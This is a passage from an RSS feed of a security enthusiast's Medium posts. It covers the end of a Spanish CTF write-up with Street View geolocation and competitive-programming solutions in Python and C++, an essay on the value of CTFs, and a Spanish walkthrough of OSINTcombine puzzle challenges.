Yunlin</p><p>(https://www.google.com/maps/place/Dounan,+Dounan+Township,+Condado+de+Yunlin,+Taiwán+630/@23.7131365,120.5020464,3a,15y,161.99h,91.23t/data=!3m7!1e1!3m5!1sQT3OSCE43cmcMZPXphsjdA!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-1.2284961916875403%26panoid%3DQT3OSCE43cmcMZPXphsjdA%26yaw%3D161.9872384444539!7i16384!8i8192!4m6!3m5!1s0x346eb9cbfcca350f:0x6618c5845d95a4b3!8m2!3d23.679436!4d120.4747975!16s%2Fm%2F02qwrtn?entry=ttu&amp;g_ep=EgoyMDI1MTEwNC4xIKXMDSoASAFQAw%3D%3D</p><p>), pero todavía estaba lejos del punto correcto.</p><p>A partir de ahí decidí usar el puente del tren como referencia principal y seguir la línea férrea aplicando las proporciones que ya conocíamos. Con esa combinación de pistas, porcentajes y recorrido sistemático en Street View, terminé llegando a la ubicación exacta:</p><p>https://www.google.com/maps/place/23°46&#39;44.1&quot;N+120°33&#39;35.1&quot;E/@23.8645777,120.5554146,3a,76.6y,164.63h,82.5t/data=!3m7!1e1!3m5!1sylA2BojMElkqYm5VinIvmw!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D7.503240817894678%26panoid%3DylA2BojMElkqYm5VinIvmw%26yaw%3D164.6312196580986!7i16384!8i8192!4m4!3m3!8m2!3d23.7789133!4d120.5597419!5m1!1e2?entry=ttu&amp;g_ep=EgoyMDI1MTEwNC4xIKXMDSoASAFQAw%3D%3D</p><p>Así fue como pasé de algo que no se podía resolver con un simple reverse a una búsqueda guiada por pistas, porcentajes y análisis visual, hasta llegar a la ubicación exacta.</p><p>JCUN25{23.86457,120.55541}</p><p>Durante el evento el equipo también resolvió los retos de programación que se presentaron en <a href="https://codeforces.com/gym/649137">https://codeforces.com/gym/649137</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*Wzr6wopr9eWMZWHnlqWiMg.png" /></figure><p>para lo cual los dejamos los <strong>4 </strong>juntos para el final</p><p>Los cuatro problemas giran alrededor de <strong>conceptos fundamentales en programación competitiva</strong>:</p><p>manipulación de conjuntos y MEX,razonamiento sobre intervalos y dígitos, análisis de componentes fuertemente conexas (SCCs),propiedades multiplicativas en árboles y factorización eficiente.</p><p>Cada ejercicio representa una evolución lógica de complejidad:<br> de lo discreto a lo algebraico, y finalmente a estructuras jerárquicas grandes.</p><h3>Problema A — El paquete perdido</h3><h3>Enunciado</h3><p>Dada una lista de identificadores de paquetes (enteros no negativos), algunos repetidos y otros faltantes, se pide encontrar el <strong>MEX</strong> (Minimum EXcluded number): el entero no negativo más pequeño que <strong>no aparece</strong> en la secuencia.</p><h3>Idea principal</h3><p>El MEX es el primer entero x ≥ 0 que no pertenece al conjunto.<br> Usamos un set() para búsqueda O(1) promedio.</p><h3>Código</h3><pre>import sys<br>input = sys.stdin.readline<br> <br>T = int(input())<br>for _ in range(T):<br>    n = int(input())<br>    arr = list(map(int, input().split()))<br>    s = set(arr)<br>    mex = 0<br>    while mex in s:<br>        mex += 1<br>    print(mex)</pre><h3>Complejidad</h3><ul><li><strong>Tiempo:</strong> O(N) por test (lineal en el tamaño del arreglo)</li><li><strong>Memoria:</strong> O(N)</li><li><strong>Notas:</strong> Escalable hasta ∑N ≤ 1⁰⁶.</li></ul><h3>Concepto reforzado</h3><blockquote><em>Búsqueda de elementos faltantes mediante estructura de conjunto hash.</em></blockquote><h3>Problema B — El pico de energía</h3><h3>Enunciado</h3><p>Dado un rango [la, ra] y otro [lb, rb], la máquina calcula a+b<br> y el &quot;impulso&quot; es el <strong>dígito más alto</strong> en a+b.<br> Se pide el máximo impulso posible dentro de las sumas permitidas.</p><h3>Observación clave</h3><p>No basta con evaluar ra+rb: un 9 puede aparecer en una suma intermedia.<br> Por eso, verificamos <strong>si existe algún número dentro de </strong><strong>[Smin, Smax] que contenga el dígito d</strong>.</p><p>Se usa aritmética por bloques decimales:<br> para cada posición decimal p = 10^pos, el bloque válido donde el dígito d aparece es:</p><pre>[k*10*p + d*p, k*10*p + d*p + p - 1]</pre><p>Si ese bloque intersecta el rango de sumas, entonces ese dígito d puede aparecerCódigo</p><pre>import sys<br>input = sys.stdin.readline</pre><pre>def exists_digit_in_range(Smin, Smax, d):<br>    for pos in range(19):<br>        p = 10 ** pos<br>        block = 10 * p<br>        k0 = (Smin - d * p) // block<br>        for k in (k0, k0 + 1):<br>            start = k * block + d * p<br>            end = start + p - 1<br>            if start &lt;= Smax and end &gt;= Smin:<br>                return True<br>    return False</pre><pre>T = int(input())<br>for _ in range(T):<br>    la, ra, lb, rb = map(int, input().split())<br>    Smin = la + lb<br>    Smax = ra + rb<br>    for d in range(9, -1, -1):<br>        if exists_digit_in_range(Smin, Smax, d):<br>            print(d)<br>            break</pre><h3>Complejidad</h3><ul><li><strong>Tiempo:</strong> O(10 × 19) ≈ O(1) por caso.</li><li><strong>Memoria:</strong> Constante.</li></ul><h3>Concepto reforzado</h3><blockquote><em>Razonamiento sobre intervalos y representación decimal.<br> Ejemplo de búsqueda por existencia de patrón numérico en rango.</em></blockquote><h3>Problema C — Machine learning or Bob learning?</h3><h3>Enunciado</h3><p>Dado un grafo dirigido con n nodos y m aristas,<br> ¿cuántas <strong>nuevas aristas</strong> se deben agregar para que todas las ciudades sean alcanzables desde la capital s?</p><h3>Idea principal</h3><p>Este es un problema clásico de <strong>Componentes Fuertemente Conexas (SCC)</strong>.<br> Cada SCC puede verse como un nodo en un DAG condensado.<br> La solución:</p><p>Ejecutar Tarjan (O(V + E)).</p><p>Construir el grafo de componentes.</p><p>Contar cuántas SCC:</p><ul><li>No tienen entrada (in_degree = 0).</li><li>No son alcanzables desde la capital.</li></ul><p>El número de esas SCCs es el número mínimo de carreteras nuevas.</p><h3>Código</h3><pre>import sys<br>sys.setrecursionlimit(10**7)<br>input = sys.stdin.readline</pre><pre>n, m, s = map(int, input().split())<br>s -= 1<br>graph = [[] for _ in range(n)]<br>for _ in range(m):<br>    u, v = map(int, input().split())<br>    graph[u - 1].append(v - 1)</pre><pre>index = [None] * n<br>lowlink = [0] * n<br>on_stack = [False] * n<br>stack = []<br>comp_id = [-1] * n<br>current_index = comp_count = 0</pre><pre>def tarjan(u):<br>    global current_index, comp_count<br>    index[u] = lowlink[u] = current_index<br>    current_index += 1<br>    stack.append(u)<br>    on_stack[u] = True<br>    for v in graph[u]:<br>        if index[v] is None:<br>            tarjan(v)<br>            lowlink[u] = min(lowlink[u], lowlink[v])<br>        elif on_stack[v]:<br>            lowlink[u] = min(lowlink[u], index[v])<br>    if lowlink[u] == index[u]:<br>        while True:<br>            v = stack.pop()<br>            on_stack[v] = False<br>            comp_id[v] = comp_count<br>            if v == u: break<br>        comp_count += 1</pre><pre>for i in range(n):<br>    if index[i] is None:<br>        tarjan(i)</pre><pre>dag = [set() for _ in range(comp_count)]<br>in_degree = [0] * comp_count<br>for u in range(n):<br>    for v in graph[u]:<br>        if comp_id[u] != comp_id[v]:<br>            if comp_id[v] not in dag[comp_id[u]]:<br>                dag[comp_id[u]].add(comp_id[v])<br>                in_degree[comp_id[v]] += 1</pre><pre>visited = [False] * comp_count<br>def dfs(u):<br>    visited[u] = True<br>    for v in dag[u]:<br>        if not visited[v]:<br>            dfs(v)</pre><pre>dfs(comp_id[s])<br>ans = sum(1 for i in range(comp_count) if in_degree[i] == 0 and not visited[i])<br>print(ans)</pre><h3>Complejidad</h3><ul><li><strong>Tiempo:</strong> O(V + E)</li><li><strong>Memoria:</strong> O(V + E)</li></ul><p><strong>Algoritmo:</strong> Tarjan + DAG condensation</p><h3>Concepto reforzado</h3><blockquote><em>Aplicación práctica de SCC + análisis de accesibilidad (reachability) en grafos dirigidos.</em></blockquote><h3>Problema D — Caminos estables</h3><h3>Enunciado</h3><p>Tenemos un árbol con n nodos y valores aᵢ.<br> El camino entre u y v es <strong>estable</strong> si el producto de los valores del camino es un <strong>cuadrado perfecto</strong>.Observación fundamental</p><p>Un producto es cuadrado perfecto si y solo si:</p><p>Todas las potencias primas en su factorización tienen exponente <strong>par</strong>.</p><p>El resultado es <strong>no negativo</strong>.</p><p>Representamos cada número por su <strong>“kernel square-free”</strong>:<br> conjunto de primos que aparecen con exponente impar.</p><h3>Transformación:</h3><ul><li>Asignamos a cada nodo un <strong>hash XOR</strong> de sus primos con exponente impar.</li><li>Propagamos desde la raíz acumulando XOR (prefijos).</li><li>Para dos nodos u, v, el producto en el camino =<br> pref[u] XOR pref[v] XOR node_hash[LCA(u,v)].</li></ul><p>También se controla:</p><ul><li>paridad del signo (neg),</li><li>existencia de ceros (zero).</li></ul><p>Si el XOR es 0, el signo es positivo y no hay ceros → camino estable .</p><h3>Código (C++)</h3><pre>#include &lt;bits/stdc++.h&gt;<br>using namespace std;<br>using ull = unsigned long long;</pre><pre>const int MAXA = 200000;<br>const int MAXN = 200000;<br>int spf[MAXA + 1];</pre><pre>void build_spf() {<br>    iota(spf, spf + MAXA + 1, 0);<br>    for (int i = 2; i * i &lt;= MAXA; i++)<br>        if (spf[i] == i)<br>            for (int j = i * i; j &lt;= MAXA; j += i)<br>                if (spf[j] == j) spf[j] = i;<br>}</pre><pre>inline ull mix64(ull x) {<br>    x ^= (x &gt;&gt; 33);<br>    x *= 0xff51afd7ed558ccdULL;<br>    x ^= (x &gt;&gt; 33);<br>    x *= 0xc4ceb9fe1a85ec53ULL;<br>    x ^= (x &gt;&gt; 33);<br>    return x;<br>}</pre><pre>ull squarefree_hash(long long a, int &amp;neg, int &amp;zero) {<br>    if (a == 0) { zero = 1; return 0ULL; }<br>    neg = (a &lt; 0);<br>    if (a &lt; 0) a = -a;<br>    ull h = 0ULL;<br>    while (a &gt; 1) {<br>        int p = spf[a], cnt = 0;<br>        while (a % p == 0) { a /= p; cnt ^= 1; }<br>        if (cnt) h ^= mix64(p);<br>    }<br>    return h;<br>}</pre><pre>vector&lt;int&gt; g[MAXN];<br>int n, q;<br>vector&lt;long long&gt; A;<br>const int LOG = 19;<br>int up[LOG][MAXN], depth_[MAXN];<br>ull pref_hash[MAXN];<br>int pref_neg[MAXN], pref_zero[MAXN];</pre><pre>int lca(int a, int b) {<br>    if (depth_[a] &lt; depth_[b]) swap(a,b);<br>    int diff = depth_[a]-depth_[b];<br>    for (int k=0; diff; k++, diff&gt;&gt;=1)<br>        if (diff&amp;1) a = up[k][a];<br>    if (a==b) return a;<br>    for (int k=LOG-1; k&gt;=0; k--)<br>        if (up[k][a]!=up[k][b]) {<br>            a = up[k][a]; b = up[k][b];<br>        }<br>    return up[0][a];<br>}</pre><pre>int main(){<br>    ios::sync_with_stdio(false);<br>    cin.tie(nullptr);<br>    build_spf();</pre><pre>    cin &gt;&gt; n;<br>    A.resize(n);<br>    for (int i=0;i&lt;n;i++) cin &gt;&gt; A[i];<br>    for (int i=0;i&lt;n-1;i++){<br>        int u,v; cin&gt;&gt;u&gt;&gt;v; --u;--v;<br>        g[u].push_back(v);<br>        g[v].push_back(u);<br>    }</pre><pre>    int neg=0,zero=0;<br>    ull h = squarefree_hash(A[0],neg,zero);<br>    pref_hash[0]=h; pref_neg[0]=neg; pref_zero[0]=zero;</pre><pre>    vector&lt;int&gt; order{0};<br>    for (int i=0;i&lt;(int)order.size();i++){<br>        int u=order[i];<br>        for(int v:g[u]) if(v!=up[0][u]){<br>            up[0][v]=u;<br>            depth_[v]=depth_[u]+1;<br>            order.push_back(v);<br>        }<br>    }<br>    for(int k=1;k&lt;LOG;k++)<br>        for(int v=0;v&lt;n;v++)<br>            up[k][v]=(up[k-1][v]==-1)?-1:up[k-1][up[k-1][v]];</pre><pre>    queue&lt;int&gt; qn; qn.push(0);<br>    while(!qn.empty()){<br>        int u=qn.front(); qn.pop();<br>        for(int v:g[u]){<br>            if(v==up[0][u]) continue;<br>            int nneg=0,nzero=0;<br>            ull nh=squarefree_hash(A[v],nneg,nzero);<br>            pref_hash[v]=pref_hash[u]^nh;<br>            pref_neg[v]=pref_neg[u]^nneg;<br>            pref_zero[v]=pref_zero[u]+nzero;<br>            qn.push(v);<br>        }<br>    }</pre><pre>    cin &gt;&gt; q;<br>    while(q--){<br>        int u,v; cin&gt;&gt;u&gt;&gt;v; --u;--v;<br>        int w=lca(u,v);<br>        int zeros=pref_zero[u]+pref_zero[v]-2*pref_zero[w]+(A[w]==0);<br>        if(zeros&gt;0){ cout&lt;&lt;&quot;Yes\n&quot;; continue; }<br>        int neg_par=pref_neg[u]^pref_neg[v]^((A[w]&lt;0)?1:0);<br>        if(neg_par){ cout&lt;&lt;&quot;No\n&quot;; continue; }<br>        ull hh=pref_hash[u]^pref_hash[v]^squarefree_hash(A[w],neg,zero);<br>        cout&lt;&lt;(hh==0?&quot;Yes\n&quot;:&quot;No\n&quot;);<br>    }<br>}</pre><h3>Complejidad</h3><ul><li>Preprocesamiento SPF: O(A log log A</li><li>DFS + prefijos: O(n)</li><li>LCA: O(log n) por consulta</li><li>Total: O((n + q) log n)</li></ul><h3>Concepto reforzado</h3><blockquote><em>Representar propiedades multiplicativas de caminos mediante hashing XOR de primos.<br> Uso de LCA y propagación de paridad en árboles grandes.</em></blockquote><h3>Fin del evento para nosotros</h3><p>Sin embargo como todo en la vida, algunos imprevistos pasaron, a las 5:24 del 7 de noviembre se libero un anuncio que bajo un poco los ánimos del equipo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7qXmt1pmXUrQQgHWzkPxNQ.png" /></figure><p>Este reto daba 5000 puntos, por lo cual garantizaba que los equipos que lo obtuvieran sin duda iban a quedar en un score superior al nuestro.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*Iwrzgkbg1nDQc77FGPrbKw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/303/0*Rc5k6-vf1vixPVtb.jpg" /></figure><p>Después de esa noticia , el equipo decidió parar y descansar para jugar el CTF próximo a liberarse de buckeyeCTF , del cual próximamente compartiríamos un writeup/post .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*OhD2WwmKKwAtd3Z2qHI6ig.png" /></figure><p>Finalizando este post, lo hacemos con un screenshot cuando logramos tener una ventaja abismal de otros equipos, con un sabor amargo a victoria pero mas importante aun…. con nuevos aprendizajes de los retos diseñados por el equipo de uqbar a quienes agradecemos el CTF tan entretenido que nos brindaron y que sin duda volveremos a jugar y a aprender.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IPLeGDZhIn58ykGSrG-njw.png" /></figure><p>Además de compartir la linda mención honorifica que ganamos</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*WY85L-L-okD6-9enAeNLAQ.png" /></figure><p>Hasta un próximo post !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=17a7bd81359a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How CTFs changed my life and the way I see the world]]></title>
            <link>https://0s1nt.medium.com/how-ctfs-changed-my-life-and-the-way-i-see-the-world-b1f183374964?source=rss-a28e7b7d0372------2</link>
            <guid isPermaLink="false">https://medium.com/p/b1f183374964</guid>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctflearn]]></category>
            <dc:creator><![CDATA[s0m3one]]></dc:creator>
            <pubDate>Wed, 20 Aug 2025 00:03:25 GMT</pubDate>
            <atom:updated>2025-08-20T00:03:31.041Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q65gT7DffX4rnX5CncQN8Q.png" /></figure><p>When I participated in my first Capture The Flag (CTF), I never imagined I was stepping into a world that would change my life forever. What started as a simple technical challenge turned into a passion that has taken me to win prizes, travel, make incredible friends, and grow both personally and professionally.</p><p>There are some aspects to consider that, when analyzed, <strong><em>are priceless and cannot be bought with money.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/0*vmaVjFhyrb0Nyd2g.gif" /></figure><h3>Learning by Playing</h3><p>There are specialized, up-to-date challenges that are often not explained or taught at university. Each challenge represents a real-world problem:</p><ul><li>A vulnerable server that needs to be exploited.</li><li>A memory dump that must be analyzed with forensic techniques.</li><li>A cryptographic algorithm that looks impossible to break.</li><li>A poorly designed web application that hides the flag behind broken layers of security.</li></ul><p>Solving each of these challenges is like opening a black box. Theory alone is not enough: you need to try, fail, think differently, and be creative. That mix of <strong>play and learning</strong> taught me more than many formal courses ever did.</p><h3>Community and Friendships</h3><p>CTFs are not only about capturing flags; they’re about the people you share the experience with. I’ve met passionate individuals who are now colleagues, friends, and even travel companions. We’ve spent sleepless nights discussing payloads, crafting exploits, and celebrating like we just won a championship every time that magical line appeared on screen:</p><pre>Flag captured ✅</pre><p>Those moments build community, forge teams, and create bonds that go far beyond the competition itself.</p><p>For example I´m part of a team and comunity of just CTF <a href="https://x.com/bugs_b0unt3r">https://x.com/bugs_b0unt3r</a> Now we have a <a href="https://bugsbounter.team/bugs/assets/conoce_bugs">discord </a>server with many challs to solve every time and many people share tools, experiences and more! , thats awsome.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mecYONhQmNjiA7PZ2eaT0w.png" /></figure><h3>Changing My Mindset</h3><p>The most transformative thing about CTFs is how they change the way you think:</p><ul><li>I understood that not everything is about money, positions, or titles.</li><li>You learn to <a href="https://medium.com/@osint4fun/pensamiento-lateral-y-su-importancia-en-resoluci%C3%B3n-de-retos-desaf%C3%ADos-o-ctfs-2635794dc793"><strong>think </strong></a><strong>like an attacker and a defender</strong>.</li><li>You develop an <strong>endless curiosity</strong> about how things work.</li><li>You gain the confidence to know that, even if something seems impossible, there’s always a way to solve it.</li></ul><p>That mindset has made me a better cybersecurity professional, more creative in projects, and more resilient in life.</p><h3>A Message for Those Who Hesitate</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/311/0*KayrLQks6pNo51hX" /></figure><p>If you’ve ever wondered whether you should try it, my answer is clear: <strong>yes</strong>. It doesn’t matter if you fail at first, if you don’t understand the challenge, or if it seems too difficult. We all started without knowing, we all failed, we all got <a href="https://medium.com/@osint4fun/how-handle-frustration-in-ctfs-challenges-and-life-6a9acbdb6b63">frustrated</a>. What matters is insisting, learning, and enjoying the journey.</p><p>CTFs are not just a game; they are a <strong>school of life</strong>, a bridge to opportunities, and a community that pushes you to become better every single day.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b1f183374964" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Solución a los retos del CTF de OSINTcombine que duro un mes]]></title>
            <link>https://0s1nt.medium.com/soluci%C3%B3n-a-los-retos-del-ctf-de-osintcombine-que-duro-un-mes-8eab85ff2771?source=rss-a28e7b7d0372------2</link>
            <guid isPermaLink="false">https://medium.com/p/8eab85ff2771</guid>
            <category><![CDATA[osint-investigation]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[osint]]></category>
            <dc:creator><![CDATA[s0m3one]]></dc:creator>
            <pubDate>Sun, 04 May 2025 18:35:53 GMT</pubDate>
            <atom:updated>2025-05-04T18:52:28.080Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*VDFaj0SCuMf4hdBD6Vkpbw.png" /></figure><p>El mes de abril sin duda fue un mes cargado para todo el <a href="https://bugsbounter.team/">equipo </a>de CTF de nosotros, tuvimos la oportunidad de participar en varios CTF incluyendo el <a href="https://medium.com/@n0r37urn/experiencia-en-searchparty-de-tracelabs-3b908504035f">searchparty de tracelabs </a>2025 y jugar varios CTF los cuales nos permitieron alcanzar 111 mil puntos en <a href="https://ctftime.org/stats/CO">CTF time </a>y posicionarnos en el primer lugar en nuestro país.</p><p>Uno de los CTF que estuvimos desarrollando durante el mes de abril fue el de <a href="https://osintcombine.ctfd.io/">https://osintcombine.ctfd.io/</a> sin duda alguna fue muy divertido, sobre todo por que nos enfrentamos a retos que no nos eran familiares, sobre todo por la barrera de ser en otro idioma. aun así logramos desarrollar todos los retos exceptuando solo 1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UTe4SZ5tX7rjGi20BH-_Pw.png" /></figure><p>A continuación nuestra forma de desarrollar algunos de los retos que mas nos parecieron interesantes.</p><p>Algo interesante de este CTF aparte de su duración es que por lo general tenían máximo 3 o 5 intentos , lo cual generaba una dificultad y presión al momento de poner las flag, pues conforme nos equivocáramos menos oportunidades y puntos íbamos a tener.</p><p>El primer reto que desarrollamos fue <strong>Proper Poppy</strong> nos daban una foto que el objetivo era identificar en que país se tomo la misma.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/0*20mJ2MMsAAo8VQa7" /></figure><p>Con google maps sale un articulo en <a href="https://biodiversity.bt/observation/show/7352">https://biodiversity.bt/observation/show/7352</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*a3Lcza5wgaxpIvMb" /></figure><p>Place: Thonbu, Merak Esta localidad está ubicada en el distrito de Trashigang Trashigang está dentro de Bután, sin embargo habia que escribir &quot;bhutan&quot;</p><p>el siguiente que desarrollamos fue Shadow Fleet</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/0*esZgNGPg-CGS6ScT" /></figure><p>Este personalmente me gusto, era de OSINT maritimo en esta noticia sale el nombre del barco eventin <a href="https://www.yahoo.com/news/german-tug-secures-disabled-oil-160532690.html">https://www.yahoo.com/news/german-tug-secures-disabled-oil-160532690.html</a> ya luego googleandolo salio este sitio</p><p><a href="https://gcaptain.com/disabled-tanker-eventin-secured-in-baltic-sea/">https://gcaptain.com/disabled-tanker-eventin-secured-in-baltic-sea/</a> y ahi sale el IMO</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/0*ZHmCs6LOXdjE2Ld5" /></figure><p><strong>Proper Poppy II</strong></p><p>Peste creo que solo hay un camino , y si o si tocaba con el articulo del reto 1, Googleando estos autores</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/0*1FrXHYEWqcke2S7F" /></figure><p>Usé este dork “rinchen yangzom” “toshio yoshida” “meconopsis” y ahi salio el dancing butterflies</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/0*P9Oh-kzGdynKGHJT" /></figure><p><strong>Not So Smug Smuggler</strong></p><p>Use este dork site:un.org “north korean” rhino elephant botswana mozambique</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/0*h6aq07z4zUlPbVdF" /></figure><p>en la pagina 59 salia el nombre de la persona de interes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YTgQDhhzAP5ACP-J" /></figure><p><strong>Forest Pals</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/0*9fiwbowzmxBJc1w5" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/0*wwg_Trx3NrLVS8wr" /></figure><p><strong>Icy</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/0*qQSF455vhYFQyEET" /></figure><p>Se tomó una captura del video y le hice revers luego encontre esto: <a href="https://www.eldinamo.cl/pais/2019/06/24/video-terrorifico-tsunami-de-hielo-sorprende-a-los-habitantes-de-rusia/">https://www.eldinamo.cl/pais/2019/06/24/video-terrorifico-tsunami-de-hielo-sorprende-a-los-habitantes-de-rusia/</a></p><p><em>Yeniséi</em></p><p><strong>Getting Started</strong></p><p>para este usamos whoxy lo cual nos dio el dominio</p><p><a href="https://www.whoxy.com/name/593650">https://www.whoxy.com/name/593650</a> rewildingeurope.com</p><p><strong>Legendary Beasts</strong></p><p>se uso el siguiente dork : site:reddit.com “rewildingeurope.com” legendary el cual nos arrojo este sitio</p><p><a href="https://www.reddit.com/r/europe/comments/70wc7r/til_rewilding_europe_charity_is_working_towards/">https://www.reddit.com/r/europe/comments/70wc7r/til_rewilding_europe_charity_is_working_towards/</a> y usamos la palabra <em>aurochs</em></p><p><strong>Safari Time</strong></p><p>Para este <a href="https://medium.com/u/d75288e37797">N0R37urn</a> empezo a filtrar islas de africa y con reverse llego a varios nombres, sin embargo fue curioso porque el carro de la imagen, tipo carpati se le hizo similar o igual a este <a href="https://www.google.com/maps/@-2.2998514,31.855863,3a,75y,208.89h,75.83t/data=!3m8!1e1!3m6!1sAF1QipPQf642iLPj8FlhzJc1310wQHJCDdLSI-5X6OgO!2e10!3e11!6shttps:%2F%2Flh3.googleusercontent.com%2Fp%2FAF1QipPQf642iLPj8FlhzJc1310wQHJCDdLSI-5X6OgO%3Dw900-h600-k-no-pi14.166426317965175-ya154.01351619410414-ro0-fo100!7i7680!8i3840?hl=es&amp;entry=ttu&amp;g_ep=EgoyMDI1MDQwMS4wIKXMDSoASAFQAw%3D%3D">https://www.google.com/maps/@-2.2998514,31.855863,3a,75y,208.89h,75.83t/data=!3m8!1e1!3m6!1sAF1QipPQf642iLPj8FlhzJc1310wQHJCDdLSI-5X6OgO!2e10!3e11!6shttps:%2F%2Flh3.googleusercontent.com%2Fp%2FAF1QipPQf642iLPj8FlhzJc1310wQHJCDdLSI-5X6OgO%3Dw900-h600-k-no-pi14.166426317965175-ya154.01351619410414-ro0-fo100!7i7680!8i3840?hl=es&amp;entry=ttu&amp;g_ep=EgoyMDI1MDQwMS4wIKXMDSoASAFQAw%3D%3D</a> <br>al final la flag fue: rubondo island</p><p>En este punto ya teníamos varios retos solucionados y la emoción en nuestro discord, estaba a tope y decidimos continuar jugando</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*dC8ThSUhqwwHu_jth7V9hw.png" /></figure><p><strong>Busy As A</strong></p><p>Realizando un reversing a la imagen solo fue filtrar por la red social de bsky <a href="https://bsky.app/profile/southdownsnp.bsky.social/post/3ljhbj3edek2g">https://bsky.app/profile/southdownsnp.bsky.social/post/3ljhbj3edek2g</a> <em>southdownsnp</em></p><p><strong>Get Rotated!</strong></p><p>este estuvo muy bueno, a <a href="https://medium.com/u/d75288e37797">N0R37urn</a> le toco mirar varios sitios y varios dorks hasta que llegue a este <a href="https://www.ocearch.org/tracker/detail/rocket">https://www.ocearch.org/tracker/detail/rocket</a> usó su nombre en el link y le dio información sobre donde estuvo, esta .. . vanuatu</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/0*32eGgmoPK3o_hefl" /></figure><p><strong>Kitty Cats</strong></p><p>Este se soluciono con exiftool a cada una de las imagenes, sacando ese parametro en orden y decodeando en base64 ZmVhcmZ1bCBzeW1tZXRyeQ== fearful symmetry</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OYtgb0wLDvvOfW4M" /></figure><p><strong>Falling Fell</strong></p><p>para este reto fue con apoyo de overpass turbo, como lo mencionamos en este post <a href="https://medium.com/@osint4fun/overpass-turbo-geoint-how-to-leverage-openstreetmap-for-location-analysis-d2bd5859da95">https://medium.com/@osint4fun/overpass-turbo-geoint-how-to-leverage-openstreetmap-for-location-analysis-d2bd5859da95</a> overpass turbo es una herramienta muy poderosa para localizacion y en este caso para CTFs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Cg9qNQe7G5-Bn4Kk" /></figure><p>Ya para el 7 de abril teníamos casi todos los retos terminados y solo nos restaban 2 mas</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/0*6vg1t8mcELX-u4LP" /></figure><p>Al día siguiente logramos resolver uno de los retos pendientes</p><p><strong>Peak Weather </strong>el cual con<strong> </strong>un reversing de la imagen en google lens <a href="https://seanmaskill.com/hikes/new-zealand-hikes/">https://seanmaskill.com/hikes/new-zealand-hikes/</a> el anterior link donde muestra una montaña similar , luego fue ver imágenes y comprobar que en efecto si era, posteriormente solo fue encontrar el chalet whare kea</p><p>Al final el único reto que no resolvimos fue SNEAKY</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*EWvBcYTVivfjDX8Kl6yETg.png" /></figure><p>Finalmente el evento finalizo hace unos dias, y de 198 equipos logramos terminar en el puesto 16</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L_Axi1hT2TbjoIWOxGEniA.png" /></figure><p>En efecto , abril fue un mes excelente para el aprendizaje de todo el equipo , esperamos poder en este mes de mayo seguir obteniendo mas aprendizajes y participando en mas eventos.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8eab85ff2771" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Applying Basic OSINT Techniques in Web3: The $LIBRA Case Study]]></title>
            <link>https://0s1nt.medium.com/applying-basic-osint-techniques-in-web3-the-libra-case-study-cf9cd7846b19?source=rss-a28e7b7d0372------2</link>
            <guid isPermaLink="false">https://medium.com/p/cf9cd7846b19</guid>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[osint-investigation]]></category>
            <category><![CDATA[cryptocurrency]]></category>
            <dc:creator><![CDATA[s0m3one]]></dc:creator>
            <pubDate>Wed, 19 Feb 2025 03:10:08 GMT</pubDate>
            <atom:updated>2025-02-19T03:10:08.942Z</atom:updated>
